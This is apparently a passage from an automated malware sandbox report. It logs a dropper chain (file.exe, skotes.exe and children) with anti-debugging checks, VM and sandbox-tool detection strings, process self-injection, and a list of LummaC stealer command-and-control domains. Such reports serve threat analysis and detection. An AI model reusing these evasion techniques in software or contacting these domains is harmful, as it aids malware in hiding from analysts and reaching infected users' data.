Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep count: 419 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep time: -838419s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3808	Thread sleep count: 441 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3808	Thread sleep time: -882441s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1508	Thread sleep count: 415 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1508	Thread sleep time: -830415s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3808	Thread sleep count: 6162 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3808	Thread sleep time: -12330162s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe TID: 6376	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe TID: 3616	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe TID: 6532	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe TID: 3408	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000006.00000000.2303103262.00000000010A9000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmp, 0a60e3a257.exe, 0000000B.00000002.2764208299.0000000000C2F000.00000040.00000001.01000000.0000000A.sdmp, a219613819.exe, 00000010.00000002.2882051027.00000000011B7000.00000040.00000001.01000000.00000014.sdmp, file.exe, skotes.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware\V
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FFDBK XFWOB4FOUG@\^q0VMware\|VIRTUAL\|A M I\|Xen
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW($
Source: file.exe, 00000000.00000003.1726701395.000000000158E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll
Source: 173fa614c9.exe, 00000013.00000002.2955163088.000000000100D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe
Source: skotes.exe, 00000006.00000002.2953163550.0000000000869000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2614165963.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692626177.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2669565814.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2592210223.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2500772799.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690930318.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2760597537.00000000008AA000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000002.2762780202.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen@\^q
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR^q
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lMWnyLgNmLCLOrn y2EGTMMa@\^q0Microsoft\|VMWare\|Virtual
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~%
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: 9c795b1b74.exe, 0000000F.00000003.2760635381.00000000006A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual@\^q
Source: a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 0a60e3a257.exe, 0000000B.00000002.2762780202.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2671116771.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2761065101.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2736550051.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2693183826.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2671729932.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565554245.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY@5$
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareLR^q
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll@\^q
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll@
Source: file.exe, skotes.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:Microsoft\|VMWare\|Virtual
Source: 623cea31e9.exe, 00000009.00000003.2690304207.0000000000CCD000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692370365.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 623cea31e9.exe, 00000009.00000003.2614165963.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692626177.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2669565814.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2592210223.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2500772799.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690930318.0000000000D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW47

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10667
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10725
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10026
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10047

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05200000 Start: 0520006E End: 05200072		0_2_05200000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_04B4071B Start: 04B407AD End: 04B40753		6_2_04B4071B

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_052003CE rdtsc

0_2_052003CE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0103652B mov eax, dword ptr fs:[00000030h]	0_2_0103652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0103A302 mov eax, dword ptr fs:[00000030h]	0_2_0103A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EEA302 mov eax, dword ptr fs:[00000030h]	1_2_00EEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EE652B mov eax, dword ptr fs:[00000030h]	1_2_00EE652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EEA302 mov eax, dword ptr fs:[00000030h]	2_2_00EEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EE652B mov eax, dword ptr fs:[00000030h]	2_2_00EE652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EEA302 mov eax, dword ptr fs:[00000030h]	6_2_00EEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EE652B mov eax, dword ptr fs:[00000030h]	6_2_00EE652B

Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Memory written: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory written: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Memory written: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click
Source: 0a60e3a257.exe, 0000000B.00000003.2517378489.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click
Source: 173fa614c9.exe, 00000011.00000002.2930354502.0000000002EBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 173fa614c9.exe, 00000011.00000002.2930354502.0000000002EBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 173fa614c9.exe, 00000011.00000002.2930354502.0000000002EBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: 173fa614c9.exe, 00000011.00000002.2930354502.0000000002EBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 173fa614c9.exe, 00000011.00000002.2930354502.0000000002EBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: 173fa614c9.exe, 00000011.00000002.2930354502.0000000002EBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bellflamre.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe "C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe "C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe "C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe "C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe "C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe "C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Process created: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe "C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process created: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe "C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe"
Source: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Process created: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe "C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe"

Source: a219613819.exe, 00000010.00000002.2882051027.00000000011B7000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: /uProgram Manager
Source: file.exe, 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: !mProgram Manager
Source: skotes.exe	Binary or memory string: !mProgram Manager
Source: 0a60e3a257.exe, 0000000B.00000002.2764208299.0000000000C2F000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: jLProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00ECDD91 cpuid

6_2_00ECDD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
